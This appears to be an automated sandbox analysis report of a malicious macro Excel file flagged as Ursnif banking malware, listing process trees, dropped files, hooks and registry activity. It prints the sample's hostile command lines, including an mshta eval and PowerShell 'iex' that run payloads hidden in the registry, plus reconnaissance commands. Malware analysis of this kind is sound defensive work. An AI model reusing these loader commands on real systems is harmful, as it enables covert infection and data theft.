Source: C:\Windows\explorer.exe	Code function: 28_2_02907A0C	28_2_02907A0C
Source: C:\Windows\explorer.exe	Code function: 28_2_0290EF1C	28_2_0290EF1C
Source: C:\Windows\explorer.exe	Code function: 28_2_0291537C	28_2_0291537C
Source: C:\Windows\explorer.exe	Code function: 28_2_02912080	28_2_02912080
Source: C:\Windows\explorer.exe	Code function: 28_2_0290A8B8	28_2_0290A8B8
Source: C:\Windows\explorer.exe	Code function: 28_2_029058FC	28_2_029058FC
Source: C:\Windows\explorer.exe	Code function: 28_2_0291E178	28_2_0291E178
Source: C:\Windows\explorer.exe	Code function: 28_2_02916E88	28_2_02916E88
Source: C:\Windows\explorer.exe	Code function: 28_2_029066D0	28_2_029066D0
Source: C:\Windows\explorer.exe	Code function: 28_2_02901AD0	28_2_02901AD0
Source: C:\Windows\explorer.exe	Code function: 28_2_029236F4	28_2_029236F4
Source: C:\Windows\explorer.exe	Code function: 28_2_02921A30	28_2_02921A30
Source: C:\Windows\explorer.exe	Code function: 28_2_0290B730	28_2_0290B730
Source: C:\Windows\explorer.exe	Code function: 28_2_0290CF24	28_2_0290CF24
Source: C:\Windows\explorer.exe	Code function: 28_2_02913F2C	28_2_02913F2C
Source: C:\Windows\explorer.exe	Code function: 28_2_0290BF6C	28_2_0290BF6C
Source: C:\Windows\explorer.exe	Code function: 28_2_02903088	28_2_02903088
Source: C:\Windows\explorer.exe	Code function: 28_2_02920CDC	28_2_02920CDC
Source: C:\Windows\explorer.exe	Code function: 28_2_0291A0C4	28_2_0291A0C4
Source: C:\Windows\explorer.exe	Code function: 28_2_029240F8	28_2_029240F8
Source: C:\Windows\explorer.exe	Code function: 28_2_02925010	28_2_02925010
Source: C:\Windows\explorer.exe	Code function: 28_2_02904828	28_2_02904828
Source: C:\Windows\explorer.exe	Code function: 28_2_0291E87C	28_2_0291E87C
Source: C:\Windows\explorer.exe	Code function: 28_2_0290D590	28_2_0290D590
Source: C:\Windows\explorer.exe	Code function: 28_2_02922994	28_2_02922994
Source: C:\Windows\explorer.exe	Code function: 28_2_0291059C	28_2_0291059C
Source: C:\Windows\explorer.exe	Code function: 28_2_0290DD18	28_2_0290DD18
Source: C:\Windows\explorer.exe	Code function: 28_2_0290AD03	28_2_0290AD03
Source: C:\Windows\explorer.exe	Code function: 28_2_02918504	28_2_02918504
Source: C:\Windows\explorer.exe	Code function: 28_2_02910134	28_2_02910134
Source: C:\Windows\explorer.exe	Code function: 28_2_02913520	28_2_02913520
Source: C:\Windows\explorer.exe	Code function: 28_2_0291154C	28_2_0291154C
Source: C:\Windows\explorer.exe	Code function: 28_2_0290B170	28_2_0290B170
Source: C:\Windows\explorer.exe	Code function: 28_2_02906168	28_2_02906168

Source: xls.xls

OLE indicator, VBA macros: true

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 00386224 appears 61 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 00383470 appears 34 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 00383EBC appears 78 times

Source: vl8o3v8u.dll.24.dr	Static PE information: No import functions for PE file found
Source: 8pjpp9kb.dll.22.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: xls.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.phis.bank.troj.spyw.expl.evad.winXLS@63/76@14/4

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003A0AE8 GetLastError,FormatMessageA,

4_2_003A0AE8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003885C8 GetDiskFreeSpaceA,

4_2_003885C8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_004782EB CreateToolhelp32Snapshot,Process32First,StrStrIA,Process32Next,CloseHandle,

4_2_004782EB

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0047A12D CoCreateInstance,

4_2_0047A12D

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_00396AE4 FindResourceA,

4_2_00396AE4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\0FDE0000

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\{C7880720-7A2F-91F8-BCEB-4E55B04F6259}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1BDCE616-BEE2-052B-A07F-D209D423264D}

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD6AF.tmp

Jump to behavior

Source: xls.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorlib.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\nslookup.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer

Source: xls.xls	Virustotal: Detection: 16%
Source: xls.xls	ReversingLabs: Detection: 10%

Source: rundll32.exe	String found in binary or memory: EmailAddressCollection/EmailAddress[%u]/Address
Source: powershell.exe	String found in binary or memory: EmailAddressCollection/EmailAddress[%u]/Address

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2828 CREDAT:275457 /prefetch:2
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2392 CREDAT:275457 /prefetch:2
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1340 CREDAT:275457 /prefetch:2
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2168 CREDAT:275457 /prefetch:2
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\47278A61-FA3B-119B-3C6B-CED530CFE2D9\\\CRPPcapi'));if(!window.flag)close()</script>'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg))
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES6C1D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC6C1C.tmp'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES8BAE.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8BAD.tmp'
Source: unknown	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: unknown	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\29B8.bi1'
Source: unknown	Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C 'echo -------- >> C:\Users\user\AppData\Local\Temp\29B8.bi1'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C 'ipconfig /all >> C:\Users\user\AppData\Local\Temp\B55E.bin1'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C 'systeminfo.exe > C:\Users\user\AppData\Local\Temp\A8F1.bin1'
Source: unknown	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2828 CREDAT:275457 /prefetch:2	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2392 CREDAT:275457 /prefetch:2	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1340 CREDAT:275457 /prefetch:2	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2168 CREDAT:275457 /prefetch:2	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES6C1D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC6C1C.tmp'
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES8BAE.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8BAD.tmp'
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\29B8.bi1'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe cmd /C 'echo -------- >> C:\Users\user\AppData\Local\Temp\29B8.bi1'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe cmd /C 'ipconfig /all >> C:\Users\user\AppData\Local\Temp\B55E.bin1'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe cmd /C 'systeminfo.exe > C:\Users\user\AppData\Local\Temp\A8F1.bin1'
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: ntdll.pdb source: rundll32.exe, 00000004.00000003.2382947063.0000000004910000.00000004.00000001.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000014.00000002.2415948225.0000000001FB0000.00000002.00000001.sdmp

Data Obfuscation:

Suspicious powershell command line found

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg))
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg))

Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline'

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0234F304 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey,

4_2_0234F304

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D3E60 push 003D3EEDh; ret	4_2_003D3EE5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00386040 push 0038606Ch; ret	4_2_00386064
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003960F0 push ecx; mov dword ptr [esp], edx	4_2_003960F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00396134 push ecx; mov dword ptr [esp], edx	4_2_00396139
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00394104 push 00394151h; ret	4_2_00394149
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00398174 push ecx; mov dword ptr [esp], ecx	4_2_00398179
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8404 push 003A845Dh; ret	4_2_003A8455
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0039447C push 003944A8h; ret	4_2_003944A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0039C53C push ecx; mov dword ptr [esp], edx	4_2_0039C53E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D860C push 003D863Fh; ret	4_2_003D8637
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8A7C push 003A8ABFh; ret	4_2_003A8AB7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00386ABC push ecx; mov dword ptr [esp], eax	4_2_00386ABD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8AF4 push 003A8B20h; ret	4_2_003A8B18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8B2C push 003A8B64h; ret	4_2_003A8B5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0038CB64 push ecx; mov dword ptr [esp], edx	4_2_0038CB69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D8B58 push 003D8B90h; ret	4_2_003D8B88
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003BCB50 push 003BCB7Ch; ret	4_2_003BCB74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D8B9C push 003D8BC8h; ret	4_2_003D8BC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D8BD4 push 003D8C00h; ret	4_2_003D8BF8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8BC0 push 003A8BECh; ret	4_2_003A8BE4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003AEC2C push ecx; mov dword ptr [esp], edx	4_2_003AEC30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D8C0C push 003D8C32h; ret	4_2_003D8C2A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00386CA0 push 00386CCCh; ret	4_2_00386CC4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8C90 push 003A8CC3h; ret	4_2_003A8CBB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8CF0 push 003A8D1Ch; ret	4_2_003A8D14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A6CF4 push 003A6D32h; ret	4_2_003A6D2A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A6D3C push 003A6D68h; ret	4_2_003A6D60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D4D10 push 003D4D8Dh; ret	4_2_003D4D85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00382D00 push eax; ret	4_2_00382D3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A6D74 push 003A6DACh; ret	4_2_003A6DA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A8D40 push 003A8D83h; ret	4_2_003A8D7B

Persistence and Installation Behavior:

Uses ipconfig to lookup or modify the Windows network settings

Show sources

Source: unknown

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\fyjh\zglgy\lckhvmn.drhdh	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	File created: C:\Users\user\AppData\Local\Temp\vl8o3v8u.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe	File created: C:\Users\user\AppData\Local\Temp\8pjpp9kb.dll	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\fyjh\zglgy\lckhvmn.drhdh			Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp, type: MEMORY

Modifies the export address table of user mode modules (user mode EAT hooks)

Show sources

Source: explorer.exe

IAT of a user mode module has changed: module: kernel32.dll function: CreateProcessW address: 76F37000

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: kernel32.dll function: CreateProcessW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B63F8 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	4_2_003B63F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003CE8A4 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	4_2_003CE8A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003CF1C8 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	4_2_003CF1C8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A5390 IsIconic,GetWindowPlacement,GetWindowRect,	4_2_003A5390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B93D0 PostMessageA,PostMessageA,SendMessageA,70D9FFF6,GetLastError,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	4_2_003B93D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B9AF0 IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,NtdllDefWindowProc_A,	4_2_003B9AF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B9BA0 IsIconic,SetActiveWindow,IsWindowEnabled,NtdllDefWindowProc_A,SetWindowPos,SetFocus,	4_2_003B9BA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003CDFF0 IsIconic,GetCapture,	4_2_003CDFF0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
